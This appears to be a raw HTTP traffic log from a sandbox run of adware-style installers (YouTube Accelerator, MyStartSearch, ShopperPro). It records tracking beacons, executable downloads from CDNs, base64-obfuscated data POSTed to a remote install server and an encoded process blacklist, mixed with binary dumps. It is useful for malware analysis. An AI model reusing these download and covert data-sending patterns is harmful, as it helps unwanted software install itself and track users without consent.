..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540827&aff=smtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Type: image/gif

Content-Length: 35

Connection: keep-alive

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Tue, 10 Feb 
2015 04:00:25 GMT..Content-Type: image/gif..Content-Length: 35..Connec
tion: keep-alive..Cache-Control: private..X-AspNet-Version: 4.0.30319.
.X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..GIF89
a.............,...........D..;..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=201020-

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 120612

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 201020-321631/321632

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AQhANqpgTDVWm7SfPeymNEfS7WLn1LKQiH3g_MwE-JjjDYgRLbyQPw==
........................8...V...j.....................................
..........(...P...b...p.......p.......h...............................
................................H.................C...C...C...C...C.o.
C.{[email protected].`.C.........u.A...A.m.B...B.[.B...A..bB...........B.w.A.
...................T........<...8}[email protected]...`.....y.......
..K..t}C.$vA...A...A..vA..vA.gvA.generic..}C.$vA..vA..vA..vA..vA.gvA..
[email protected].....~C.$vA..vA..vA..vA..vA.gvA.system..T~C.$vA..vA
..vA..vA..vA.gvA.iostream stream error.....C..#A.*....~C..yA.C.....C.0
rA...A..~C..{[email protected]..{A...A.H.C.0rA...A.............bad allocation.
...C..{A...A.regular expression error.....$C.DsC.DsC..$C..$C.$$C.$$C.,
$C.4$C.<$C.D$C.L$C.T$C.\$C.....r...a...r.b.....w.b.....a.b.....r. .
....w. .....a. .....r. .b...w. .b...a. .b...................!..."...2.
..*...............#...3... .........C...A...A.Unknown exception.....C.
[email protected].................
......................csm................. ...........Visual C   CRT: 
Not enough memory to complete call to strerror..LC_TIME.LC_NUMERIC..LC
_MONETARY.LC_CTYPE....LC_COLLATE..LC_ALL...%C......{B..%C...C..{B..%C.
..C.R.A..%C...C.2xB..%C...C.DuB..%C...C.^tB...........................
..... !"#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.._.,.;...=...=;..................
......................................................................
..................................................................<<< skipped >>>

GET /img/accelerating-videos.jpg HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=v42ebrdc5eunyodkxgchp5ds


HTTP/1.1 200 OK

Content-Type: image/jpeg

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:21 GMT

Content-Length: 62153
......Exif..II*.................Ducky.......P.....)hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c06
0 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM
:InstanceID="xmp.iid:C1DF3D4AC22211E2B54FF29E4590DCFE" xmpMM:DocumentI
D="xmp.did:C1DF3D4BC22211E2B54FF29E4590DCFE"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:C1DF3D48C22211E2B54FF29E4590DCFE" stRef:doc
umentID="xmp.did:C1DF3D49C22211E2B54FF29E4590DCFE"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d.........................................................
......................................................................
..................2...................................................
...........................................!..1AQ.aq....."2....BR#U...
b..3.T...W...S..u..rC.$4%6s...5.&V7.c.DdtEv'...e.Gw...................
....!1..A....Qaq."2RS...r3T.#....B..b$......4...D.EF............?...c.
.......!..A...H....\`.f...L...0.q%h.7.[{3..I....3.......wJ..x..h.;..=*
........m..P.PT..0.gi..K.Lb ....%.'..T....c....%.9.`("....`..#...Yy...
.L........Z.*.iM....V...n.*w.rb.6.......Q#... b...b.gU.?Sh}..T....<<< skipped >>>

GET /ConversionService/GetScript.ashx?s=finish&frame=1&aff= HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=v42ebrdc5eunyodkxgchp5ds; _ga=GA1.2.1024568755.1423540823; _gat=1


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:22 GMT

Content-Length: 216
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<......
.[......m.zt........../..>|...;.......~..<n..........].....]....
_....%.8.............HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: text/html; charset=utf-8..Content-Encoding: gzip..Vary: Accept-E
ncoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Pow
ered-By: ASP.NET..Date: Tue, 10 Feb 2015 04:00:22 GMT..Content-Length:
 216...............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@.
.....{....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<
.......[......m.zt........../..>|...;.......~..<n..........]....
.]...._....%.8.................


GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=v42ebrdc5eunyodkxgchp5ds; _ga=GA1.2.1024568755.1423540823; _gat=1


HTTP/1.1 404 Not Found

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Length: 1245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>....<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.29 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:32 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.29 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.45 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:39 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.45 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /software_files/flvplayer/1_0/FLVPlayerSetup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:03 GMT

Content-Type: application/octet-stream

Content-Length: 279752

Last-Modified: Tue, 16 Jul 2013 14:25:52 GMT

Connection: close

ETag: "51e557f0-444c8"

Accept-Ranges: bytes

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................0......]........................................t....
.......M...........,..8...............................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
...M.......N...z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423540821&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=bxiizz55zjgy0qyekng0vi55


HTTP/1.1 200 OK

Connection: close

Date: Tue, 10 Feb 2015 04:00:19 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /mg?alpha=aU4RaDElfCMzdycKPkI+aApCZTFpCBMZOB0iYl9caR9QeT1IRgwaWB0OEBxkNC4JTzhpSw0ecXA9NEIhekYrZUQRGQ0nOjl4QzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 Feb 2015 03:59:16 GMT

Content-Length: 2004

op x vX9o8Sov5XkjIaqtcf18vr3iO7tvsao56rjrMbx/rS o SekbKl1oDZ7JWm79jmsc
3ypd3wg8KW2qahicaO36a4t4Cc bvigcOkwbOM7/T 6/LDt9O2uJ3H7bzkuK m4uvx993H
5YjTrfmrm77xzP61w ri9tm19afynqur34nI4eyttp/747KIwIXHop7S8/Lv4em806aP47
nuuPiNuPDirqDly8Tiib/28q/V9/qVsLyXqeT6i rioeKfgObI3sSn9Pn6w7vt5Jffkob9
8vvMyM6mhvbGpJCpobL7x4euta6ztvPSyvyewZDEvNbn srh aKn6efdv Txu9iLq9 JyI
23rqbRraHlgsPbhqKow L47eHOgtepkaShsrfhkrHw4qG889/O3ozppeKr uz62vn71a7m
4tq1uvH iZm93I7J4eylop/kqrzMyo/FpKSRve/r8c pmr7GqOeq463P8f60vqPknpGypd
afw yVpu/Y5rHN8qXd0KP/veOfj6TSkN6fipC3gf6h952N24axsd/y/tflx7GU/4q07 T1
tpulrKWkp TY/fGB6Km29Nfx89W  4mn9e3Mnven/oyYiduZzqj0 aWS 7z1wo2e16On3P
X/u77Mtdq2ge2h7aH1nan  rOh9NnWvJa/pfDsg72tlbCtlrjirJPy3pjErd/mkYzMt77h
 dHEtuOHwYPBtb7S6 jF2Ouhwqq2tO37 7jcq72ssrbP3cb1z6ei4aLVqL3c6qmKq/PrzY
b3v Kf3/DdicGv uGlnOWs9aDOg82xtfDv/vrviO7QpIiy5qT7/Y25q6 1t6OGzfGB7qm4
7Nz8/trm 9W89fvMrbqotZOZ6InFnu/0t7qD8u2qzOe895Dyn6Xr PDC9oznt7jw4bfgm6
 yoaug3eD74oL iOGjyaazm S4g73iwMi98/GtlIim39CPpq6zppDjqvS4zpvRovKJ6e71
6Ib20KqWoubGuOCXq7mDr7bi14mqi/yg56uVpvbK9q6AuuOsk7b3v Sf0ejWhMygouH5h 
W69ZODjIautJG9oq2oiKDPtYHjuaqR362K/uzlo DIw7LXv4H9rcvr7Nb0rbOU0OfHtPmk
5KahicaO36a4t5WW5bz5gcGr JK 2uno7eXGuOqZpa/34ZX7mbq5suX/o8rK/Jj4gvWj3K
al1 e1g Sl69Gg87Djn5mc0pDYpvT5rYb7o7zMyZjWpLX95u/w8s X3qCHqqGyv/WSrrns
5bry2Nz/n/nurqjY6OzcvvuKsObt3fKsp WPmLefh4 qsuH5wqf9vMzbjtSi8oml09LX/f
aa55Sg9 D7rtyQtaO1vPLTzeSxwZv9oN3r6MrOhay99fzMvuKF8oiOo9yS8Z Draqd5Lvx
gsOr JC5weLo8eXYv5Tpxrfi5KzxsLyxpeXp78nH/MG/qey 3Ofr3PaPjqTy64vq Kb7lt
Ho1ZPfoLONoof ufWtx5LHrPKJ4fr198/4lKyXpfTnq/Dc57qhq6DkkIn1lfyv4OyD

<<< skipped >>>

GET /fp?alpha=ejx6ZCYrNGddMHJhVU4pe3gpaSZ6YGwVZ109O3t6fSh3ZGB4TXMQSgkLF2R3Oy12RS5nThMQZntILzlGYhtzZCNmSjp9VV8WancwX2gBaTk5PXkoeG0kLRAjBFJ6JjN/aDtwIipGcxtKfXtmf3QgL3cwWXtCFGJ5ZzorOiYtKlhpNml5aTp1NmVqcXdSLAQKNGkgbDIrfGgnCCMNQn5zJy1kNnEnP0F6Ak5xbjRgZ3Utb2MOah4WcDY7N0tgbyo3XyxAcGtrIH50PDM2KlN/HHZATDYudy5hOy8ZJwxUeCQsLS56f0R2Hi5NDztuEjchc3QrZBgUBhdvZ2I9KQImOixfMF1lPjB4JF9lanwCDjt9FyJNJX0oC2U6KwUnDFRxVDgPalQGVy1iZXABLi4p HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 Feb 2015 03:59:21 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..
Content-Type: text/plain..Expires: -1..Server: Microsoft-IIS/7.5..X-As
pNet-Version: 4.0.30319..SVR: SP003C2..X-Powered-By: ASP.NET..p3p: CP=
"CAO PSA OUR"..Date: Tue, 10 Feb 2015 03:59:21 GMT..Content-Length: 0.
.....

GET /ii?alpha=fThCZHBmAVgaRTkubU5/fHwRaXB9ZE5MfUgLVnU1L2QIIzVoSSFNWz0pCxNhYTged1k/N3hrMGE/FiZmenM+bRgROAJ8cy9yDSIoQGlbSS9/JQFkOihqGhFyCSc1V2p7dBl7AVxZRhVofWcsZiBXMzVEDA48WGQ3FEplPnAlKzNnEFU3Anh3KXpUYzsBMSoIcD0gQTY6P2hBajJUWxlzJDs1QTAgPhAXRGw9JThvICEwRy8Ff04seDNnOxE5cC84YRhZQDdlG2BzJxAoZVQ1U1Msa3sDdjB7OxMFIlISVnkvPTxcfwhxFwBNXSAsGnJGeHATbks+Xit2UiNhRW0lOzRhOldPKn5oZmoxFiJ8XmYkAGI5OkUrK209FggzXhQGfz8ueV4jJnNUSAIfYXpIPWJ9fxlmAQgQezprImYDIAMmNHoxUgNZRCkyeSdNd3tHNTAcLD1kSXw6OnsaEXAXV0AkeiY4E3J1IkFCGBt5cFxjKyEvTTYIaxpoa1QceUJ6M2R9WBlBQnhVaBB1JhAkdF0oVxoRTEc9JVgyfkwIBF4QGXU5bTxAIXgpUggfH08fBD1Ufnw= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 Feb 2015 03:59:22 GMT

Content-Length: 84

nTeOcIeXbcx08oJUswzGm3rMZJiZOMl99ZQ76CCHiSOQOpDCFctatYNnzyOVgnDccOmXH6
UumcwxbenPAiEBHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP003C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Tue, 10 Feb 2015 03:
59:22 GMT..Content-Length: 84..nTeOcIeXbcx08oJUswzGm3rMZJiZOMl99ZQ76CC
HiSOQOpDCFctatYNnzyOVgnDccOmXH6UumcwxbenPAiEB....

POST /if?alpha=fThCZHArGUU2TjMwbU5/fHwRaXB9ZE5MfUgLVnU1L2QIIzVoSSFNWz0pCxNhYTged1k/N3hrMGE/FiZmenM+bRgROAJ8cy9yDSIoQGlbSS9/JQFkOihqGhFyCSc1V2p7dBl7AVxZRhVofWcsZiBXMzVEDA48WGQ3FEplPnAtPjMHXkZmXAEodSAvOHldW3NTNmx8UmhqZj4BXn0JVkEjcntrAHJ8NkZAEBp6eUg2dHdcBW4BJBtkJm4+fEYuMi07TCZZdTcBeGgsel1jJQEmNQx3PSVSYnk0QUhLfW41VnkvPyBeJ3hPHRxGQTg5QnInJTMVaEhrEW8gZyMzbmE1OjJ9O1BXKmchKHg7EyI1BihUSC1pcQd2dTRjRkRgdUZQYDk5KkctKzhOUhQAfmRZZCEgPgRkTjsXfzMiIW9AY3ZyfT96BgVlQyQncjNZFHtWZG1JKi88IWt1L2hDCBNPBwRzL2J/QDR4LFIcEF5yM0gzZywnRy0NfUw6O2NsPhMyY3hnO2IMETsKeHcmY1B3cUU1Unc1bmYRKTwNQFBJMl5GJn8uPyxPLmVLVCFhfQZqKjtiej4zZEokHXkgEhoFHyxj HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: ilg

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Content-Length: 31523

Connection: Keep-Alive

Cache-Control: no-cache

alpha=ZlFJaGZxCXEkekkPRkUQcR8Kbip9REpFOlNqGRQzSw4taw==|,|ZlFJaGYxLyhoShZlRngHQDk2Wyp9RG8eCnV8Hmg5DFFBIw9CbQlqWSBCORJoaRYQUX4zemcGRyUSWmclEkR1KGMOCG1rIg==|,|ZlFJaGZAFjJGX2kAW3MZRF1CKUl6OHlXM1J8J3suPWxkPiNHfA1PZBhMBj9rViMZYFpPHR1fZEtt|,|ZlFJaGZ EkFjJhNSSEM9cCI8QE5gWQwZFBcdLiJr|,|ZlFJaGZ0UDx/XgwURlgnYBwTZSoTAV9XP09hW10/OVQFc3M6L0tvfRUVVXMwMzM4IB5hUSV3Vn5WbikCFgRGGmQKVn4AFjF3QzZrVi9y|,|ZlFJaGYjJiQ/fhYMRkUHfREaZ35gAl5LOwBsFHcnMV5Bbj9qcxwOBXQSAEMaVRM3YA==|,|ZlFJaGZoR0l3YzonRlgnYBwTZVkvEV5HMwBpCXUncFNKIz5icx0OVD1NAH46KgQRfRsjdk9LCl9kS20=|,|ZlFJaGY7ZmBMC2giRlgnYBwTZVkvEV5HMwAyW2knIAFQLwNeY3srYxA=|,|ZlFJaGZMXRd0RnU4XF09ZDs5KWwyC0EENU9iFnskNBBJJz1mPUQOAEMaVStjQw==|,|ZlFJaGZMXRd0R3A4XF09ZDo8KWwyC
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 Feb 2015 03:59:22 GMT

Content-Length: 41
{"status":"OK","url":null,"message":null}..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-160816

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80409

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-160816/321632

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5p_eUXu6e9e2nb1S0QiCMEQZH3wicMLV9P70Qe60rc7sEC04XSv5hw==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
